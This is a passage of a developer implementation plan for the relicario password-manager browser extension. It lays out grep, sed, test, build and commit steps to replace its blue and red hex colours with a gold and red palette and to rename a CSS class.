- [ ] **Step 1: Find all consumers of `sig-block--blue` and `accent: 'blue'`**
Run:
```bash
grep -rn "sig-block--blue\|accent: 'blue'\|accent=\"blue\"\|accent: \"blue\"" extension/src/
```
Expected hits:
- `extension/src/popup/styles.css:507``.sig-block--blue { ... }`
- `extension/src/popup/components/__tests__/fields.test.ts` — string literals `'sig-block--blue'`, `accent: 'blue'`
The `extension/src/popup/components/fields.ts` template uses `sig-block--${accent}` so it accepts whatever string the caller passes. We need to find any caller that passes `'blue'`.
Run:
```bash
grep -rn "renderSignatureBlock" extension/src/
```
Inspect each call site for an `accent: 'blue'` argument; rename to `accent: 'gold'`. Likely zero or one site outside the test, since most signature-block consumers use `'green'` / `'amber'` / `'red'` for status semantics.
- [ ] **Step 2: Rename in styles.css**
Edit `extension/src/popup/styles.css` line 507:
```css
.sig-block--gold { border-left-color: #7c5719; }
```
(was `.sig-block--blue { border-left-color: #1f6feb; }` — the color was already swapped to `#7c5719` in Task 4; now we rename the class.)
- [ ] **Step 3: Rename `accent` type union in fields.ts**
Open `extension/src/popup/components/fields.ts`. The `renderSignatureBlock` opts type likely has `accent: 'blue' | 'green' | 'amber' | 'red'`. Replace `'blue'` with `'gold'`:
Find:
```ts
accent: 'blue' | 'green' | 'amber' | 'red'
```
(or however it's typed — also check for `accent?: ...` and `Accent` aliases)
Replace `'blue'` with `'gold'`. Adjust any default value (e.g. `accent = 'blue'``accent = 'gold'`).
- [ ] **Step 4: Rename in fields.test.ts**
Edit `extension/src/popup/components/__tests__/fields.test.ts`:
Line 72-area: change `expect(html).toContain('sig-block--blue');` to `expect(html).toContain('sig-block--gold');`
Line 77-area: change `accent: 'blue'` to `accent: 'gold'`. The assertion line 77 likely reads:
```ts
expect(renderSignatureBlock({ accent: 'blue', children: '' })).toContain('sig-block--blue');
```
Becomes:
```ts
expect(renderSignatureBlock({ accent: 'gold', children: '' })).toContain('sig-block--gold');
```
- [ ] **Step 5: Update any non-test callers found in Step 1**
For each non-test call site that passes `accent: 'blue'`, change to `accent: 'gold'`. If Step 1 found zero such sites, skip this step.
- [ ] **Step 6: Run vitest**
Run: `cd extension && bun run test`
Expected: 124 passed (the renamed test now asserts on `'gold'` and matches the renamed class).
- [ ] **Step 7: Verify type-check is clean**
Run: `cd extension && bunx tsc --noEmit`
Expected: zero errors. (If the `accent` type union missed a spot, this is where it'll surface.)
- [ ] **Step 8: Commit**
```bash
git add extension/src/popup/styles.css \
extension/src/popup/components/fields.ts \
extension/src/popup/components/__tests__/fields.test.ts
git commit -m "feat(ext/popup): rename sig-block--blue to --gold for accuracy"
```
---
## Task 6: Inline color sweep in TS files
Six TS files have inline hex colors in template literals or DOM-style assignments. Each is a 12 line touch.
**Files:**
- Modify: `extension/src/popup/components/types/login.ts`
- Modify: `extension/src/popup/components/types/totp.ts`
- Modify: `extension/src/popup/components/generator-popover.ts`
- Modify: `extension/src/popup/components/settings.ts`
- Modify: `extension/src/content/capture.ts`
- Modify: `extension/src/content/icon.ts`
- [ ] **Step 1: Sweep all six files with sed**
Same color mapping as Task 4. Run:
```bash
sed -i \
-e 's/#58a6ff/#d2ab43/g' \
-e 's/#1f6feb/#7c5719/g' \
-e 's/#388bfd/#aa812a/g' \
-e 's/#f85149/#ab2b20/g' \
-e 's/#da3633/#791111/g' \
extension/src/popup/components/types/login.ts \
extension/src/popup/components/types/totp.ts \
extension/src/popup/components/generator-popover.ts \
extension/src/popup/components/settings.ts \
extension/src/content/capture.ts \
extension/src/content/icon.ts
```
- [ ] **Step 2: Verify no old colors remain in `extension/src/`**
Run:
```bash
grep -rnE '#(58a6ff|1f6feb|388bfd|f85149|da3633)' extension/src/
```
Expected: no output.
- [ ] **Step 3: Run vitest + type-check**
```bash
cd extension && bun run test && bunx tsc --noEmit
```
Expected: 124 passed; zero TS errors.
- [ ] **Step 4: Commit**
```bash
git add extension/src/popup/components/types/login.ts \
extension/src/popup/components/types/totp.ts \
extension/src/popup/components/generator-popover.ts \
extension/src/popup/components/settings.ts \
extension/src/content/capture.ts \
extension/src/content/icon.ts
git commit -m "feat(ext): sweep inline blue/red colors to gold/theca-red"
```
---
## Task 7: Inline color sweep in `setup.html`
Same swap pattern, but in HTML/CSS context.
**Files:**
- Modify: `extension/setup.html`
- [ ] **Step 1: Apply sed sweep to setup.html**
```bash
sed -i \
-e 's/#58a6ff/#d2ab43/g' \
-e 's/#1f6feb/#7c5719/g' \
-e 's/#388bfd/#aa812a/g' \
-e 's/#f85149/#ab2b20/g' \
-e 's/#da3633/#791111/g' \
extension/setup.html
```
- [ ] **Step 2: Verify no old colors remain in setup.html**
```bash
grep -nE '#(58a6ff|1f6feb|388bfd|f85149|da3633)' extension/setup.html
```
Expected: no output.
- [ ] **Step 3: Verify final scope: zero stale colors anywhere in extension/src/ + setup.html**
```bash
grep -rnE '#(58a6ff|1f6feb|388bfd|f85149|da3633)' extension/src/ extension/setup.html
```
Expected: no output. **This is the spec's primary acceptance gate.**
- [ ] **Step 4: Commit**
```bash
git add extension/setup.html
git commit -m "feat(ext/setup): sweep inline colors for palette refresh"
```
---
## Task 8: Build, full verification, and close-out
- [ ] **Step 1: Build both extension bundles**
```bash
cd extension && bun run build:all
```
Expected: "compiled with 2 warnings" (WASM size warnings only) for both Chrome and Firefox.
If webpack errors appear, the most likely cause is a TS type mismatch from Task 5's `accent` type union. Re-run `bunx tsc --noEmit` and fix.
- [ ] **Step 2: Run full test sweep**
```bash
cd /home/alee/Sources/relicario && cargo test --workspace
cd /home/alee/Sources/relicario/extension && bun run test
```
Expected: 155 Rust + 124 Vitest, all green.
- [ ] **Step 3: Manual visual smoke check (instructions for the implementer to relay to user)**
Have the user load `extension/dist/` in Chrome (`chrome://extensions` → "Update" if already loaded, or "Load unpacked" otherwise) and verify:
- [ ] Toolbar icon shows the new gold/red reliquary medallion (16 px treatment).
- [ ] Open popup → unlock — primary buttons (`+ New`, `autofill`, `save`) have gold backgrounds (`#7c5719`).
- [ ] Selected list row has a gold left-border (`#aa812a`) + gold tint background.
- [ ] Focus ring on search input + form fields is gold (`#aa812a` @ 40%).
- [ ] Reveal/copy links in detail view are bright gold (`#d2ab43`).
- [ ] Trash button (and any danger states) shows theca-red (`#ab2b20`).
- [ ] TOTP countdown ring is gold (`#d2ab43`).
- [ ] Signature blocks: `--gold` accent renders gold (was the old blue accent).
- [ ] Setup tab: strength bar's "very weak" segment is theca-red; advice block left-border is gold.
- [ ] Capture prompt and origin-ack icon (content script) use gold + theca-red.
Repeat in Firefox via `about:debugging` → "Update" or "Load Temporary Add-on" → `extension/dist-firefox/manifest.json`.
- [ ] **Step 4: Final acceptance grep (paranoia check)**
```bash
git grep -nE '#(58a6ff|1f6feb|388bfd|f85149|da3633)' -- 'extension/src/**' 'extension/setup.html'
```
Expected: no output. Anything in `dist/`, `dist-firefox/`, `node_modules/`, or `.superpowers/` is out of scope.
- [ ] **Step 5: No close-out commit needed**
If steps 14 all passed without changes, there's nothing left to commit. The seven prior commits cover all changes.
If a fix was needed in step 1 or step 3 (e.g., a missed `accent: 'blue'` consumer), commit that fix as `fix(ext): <description>` before closing out.
---
## Verification summary (run after Task 8)
```bash
# Bundles compile clean
cd extension && bun run build:all
# All tests pass
cd /home/alee/Sources/relicario && cargo test --workspace
cd /home/alee/Sources/relicario/extension && bun run test
# Stale palette purged
git grep -nE '#(58a6ff|1f6feb|388bfd|f85149|da3633)' -- 'extension/src/**' 'extension/setup.html' # zero hits
# Type-check clean
cd extension && bunx tsc --noEmit
```
All four checks must succeed for the plan to be considered complete.
---
## Notes for the implementer
- **No new tests** — palette + logo are visual changes; existing tests cover behavior. The one test touched (`fields.test.ts`) is updated for the renamed `--gold` class.
- **No worktree required** — this is a small, atomic change set. Commits go directly to main per the project's single-maintainer flow.
- **Order matters slightly:** Task 4 swaps `#1f6feb``#7c5719` everywhere in styles.css, including inside the old `.sig-block--blue` rule. Task 5 then renames the class. Don't reverse the order or the sed sweep in Task 4 will skip the value because the class context changed.
- **PNG generation order matters:** Task 3 needs the SVGs from Tasks 12 to exist first.
- **Brainstorm artifacts** in `.superpowers/brainstorm/` contain the old hex values in mockup HTML — those are gitignored and out of scope; do NOT sed-sweep them.

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

Some files were not shown because too many files have changed in this diff Show More